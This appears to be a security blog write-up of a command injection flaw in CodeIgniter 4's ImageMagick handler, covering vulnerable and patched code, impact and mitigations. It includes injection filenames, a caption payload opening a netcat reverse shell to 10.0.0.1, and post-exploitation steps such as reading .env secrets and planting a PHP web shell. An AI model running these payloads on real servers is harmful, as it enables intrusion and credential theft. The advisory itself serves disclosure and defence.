Feb 14, 2026·6 min read·8 visits
CodeIgniter 4's `ImageMagickHandler` manually concatenated user inputs into shell commands using weak quoting. Attackers can break out of these quotes via malicious filenames or text inputs to execute system commands (RCE). Fixed in version 4.6.2.
CodeIgniter 4, a popular PHP full-stack web framework, contains a critical OS Command Injection vulnerability within its ImageMagick handler. By failing to properly sanitize file paths and text parameters before passing them to the system shell, the framework allows remote attackers to execute arbitrary commands. This typically occurs during image processing tasks like resizing or adding text overlays, turning a standard file upload or watermark feature into a full remote shell.
We have been teaching developers for two decades that system(), exec(), and passthru() are the functions where careers go to die. If you pass user input to a shell, you are begging to get pwned. Yet, the allure of ImageMagick is too strong. It's the industry standard for image manipulation, but its native PHP extension (imagick) can be finicky to install. So, what does a helpful framework do? It writes a wrapper.
CodeIgniter 4 offers a convenient ImageMagickHandler. It abstracts away the complexity of resizing, cropping, and text-overlaying images. Under the hood, however, it is doing the one thing we tell juniors never to do: it is building a massive string representing a command line instruction and handing it off to the OS.
This vulnerability is a classic case of "abstraction leakage." The developer using CodeIgniter thinks they are calling a safe method like $image->resize(). In reality, they are indirectly calling /usr/bin/convert, and the framework's safety rails were made of balsa wood.
The root cause of CVE-2025-54418 is a failure to respect the complexity of shell syntax. The CodeIgniter team attempted to sanitize inputs by wrapping them in quotes. In PHP, this looked something like ' "' . $source . '" '.
This is the "fingers crossed" approach to security. It assumes that the $source (the filename) will be a nice, well-behaved string like vacation.jpg. But hackers don't go on vacation.
If an attacker can control the filename—either by uploading a file named specifically to trigger the bug or by manipulating the path passed to the handler—they can simply close the quote, add a command separator (like ; or &&), and insert their own payload.
Specifically, the _resize() and _text() methods in ImageMagickHandler.php were guilty. They took the path to the image and the text for overlays and dropped them directly into the command string. No escapeshellarg(). No escapeshellcmd(). Just raw string concatenation. It is effectively the same as SQL injection, but instead of dumping a database, you get a shell on the server.
Let's look at the diff. This is where the magic happens (or stops happening, depending on your perspective). The vulnerable code relied on manual quoting.
In system/Images/Handlers/ImageMagickHandler.php, inside the _resize function:
// The $source and $destination are just variables concatenated into the string
$action = $maintainRatio
? ' -resize ' . ($this->width ?? 0) . 'x' . ($this->height ?? 0) . ' "' . $source . '" "' . $destination . '"'
: ' -resize ' . ($this->width ?? 0) . 'x' . ($this->height ?? 0) . "{$escape}! \"" . $source . '" "' . $destination . '"';If $source is image.jpg";id;", the resulting command executed by the shell becomes:
convert -resize 100x100 "image.jpg";id;" "destination.jpg"
The shell sees three commands:
convert ... "image.jpg"id (The payload)" "destination.jpg" (Garbage, usually ignored or errors out)The fix is simple and standard: use escapeshellarg(). This PHP function wraps the string in single quotes and escapes any existing single quotes, ensuring the shell treats the entire string as a single argument.
$action = $maintainRatio
? ' -resize ' . ($this->width ?? 0) . 'x' . ($this->height ?? 0) . ' ' . escapeshellarg($source) . ' ' . escapeshellarg($destination)
: ' -resize ' . ($this->width ?? 0) . 'x' . ($this->height ?? 0) . "{$escape}! " . escapeshellarg($source) . ' ' . escapeshellarg($destination);They applied similar fixes to the text() method, where user-supplied text for watermarks was also being injected directly.
To exploit this, we need to find a place where the application processes an image using the imagick handler and allows us to influence the parameters.
Many web apps take an uploaded file and immediately resize it for thumbnails. If the application does not rename the file to a safe, random string before processing it, we win.
pwn";touch /tmp/hacked;" .jpg.$image->withFile('pwn...')->resize(...), the shell command executes touch /tmp/hacked.The text() method is even juicier. If the application has a feature like "Add a caption to this image," it likely passes your string directly to the handler.
Hello'; nc -e /bin/sh 10.0.0.1 4444; 'convert ... -annotate 0 'Hello'; nc -e /bin/sh 10.0.0.1 4444; '' ...Here is the flow of the attack:
This is a CVSS 9.8 Critical vulnerability for a reason. Command injection is the "Game Over" of web security.
Once the command executes, the attacker has the privileges of the web server user (usually www-data or apache). From there, the kill chain is predictable and devastating:
ls -la, cat /etc/passwd, env. The attacker maps the filesystem..env file. Now they have your database credentials, AWS keys, and mail server passwords.echo '<?php system($_GET["c"]); ?>' > shell.php) so they can come back later even if the image bug is fixed.Because ImageMagick is often installed on powerful servers to handle media processing, these machines are also prime targets for crypto-jacking miners.
If you are running CodeIgniter 4, you have two options. One is a fix, the other is a band-aid.
Upgrade to CodeIgniter 4.6.2 immediately. The patch is robust and properly escapes arguments. Run composer update and verify your composer.lock shows the correct version.
If you cannot upgrade immediately (perhaps you have legacy dependencies), change your image handling library. Switch from imagick to gd in your configuration. The GD library is a PHP extension that does not shell out to the operating system, rendering this specific command injection vector null and void.
To do this, edit app/Config/Images.php:
public $defaultHandler = 'gd'; // Was 'imagick'> [!NOTE] > Even with the patch, it is best practice to never keep user-supplied filenames on your filesystem. Always rename uploaded files to a random alphanumeric string (UUID) immediately upon receipt. This kills entire classes of vulnerabilities, including this one.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
CodeIgniter 4 CodeIgniter Foundation | >= 4.0.0, < 4.6.2 | 4.6.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-78 (OS Command Injection) |
| CVSS Score | 9.8 (Critical) |
| Attack Vector | Network (AV:N) |
| Privileges Required | None (PR:N) |
| Impact | Confidentiality, Integrity, Availability (High) |
| Vulnerable Component | ImageMagickHandler.php |
The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.